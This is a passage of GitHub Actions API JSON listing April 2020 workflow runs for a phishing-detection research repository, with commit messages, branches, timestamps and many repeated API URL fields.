","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":74476743,"node_id":"MDExOldvcmtmbG93UnVuNzQ0NzY3NDM=","head_branch":"master","head_sha":"d1e77f1638fcee4116dc62413bce31d0639d6f49","run_number":112,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":585868548,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1ODU4Njg1NDg=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/74476743","pull_requests":[],"created_at":"2020-04-09T14:17:01Z","updated_at":"2020-04-09T14:21:48Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/585868548","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"d1e77f1638fcee4116dc62413bce31d0639d6f49","tree_id":"26d63a7617556383b09737b3d903fd476c1a503e","message":"Merge pull request #44 from sbaki2/bug_fix\n\nBug fix","timestamp":"2020-04-09T14:16:58Z","author":{"name":"Xin","email":"xin9186@gmail.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":73838441,"node_id":"MDExOldvcmtmbG93UnVuNzM4Mzg0NDE=","head_branch":"bug_fix","head_sha":"e7f83e2f5cde59a572f5cc7499caeb5bd9304004","run_number":105,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":583662017,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1ODM2NjIwMTc=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/73838441","pull_requests":[],"created_at":"2020-04-08T19:35:11Z","updated_at":"2020-04-08T19:39:39Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/583662017","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"e7f83e2f5cde59a572f5cc7499caeb5bd9304004","tree_id":"cc3ac8c15c02c62b105f691d0357cd549166edcc","message":"feature_list_dict_train was not defined","timestamp":"2020-04-08T19:31:45Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":73808580,"node_id":"MDExOldvcmtmbG93UnVuNzM4MDg1ODA=","head_branch":"bug_fix","head_sha":"006d4a4fecbd6c73409aa49185e2a7a10e07ae75","run_number":104,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":583550455,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1ODM1NTA0NTU=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/73808580","pull_requests":[],"created_at":"2020-04-08T18:54:25Z","updated_at":"2020-04-08T18:58:54Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/583550455","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"006d4a4fecbd6c73409aa49185e2a7a10e07ae75","tree_id":"db548767f1146504f956421a62afc639de593d47","message":"removed print","timestamp":"2020-04-08T18:54:06Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos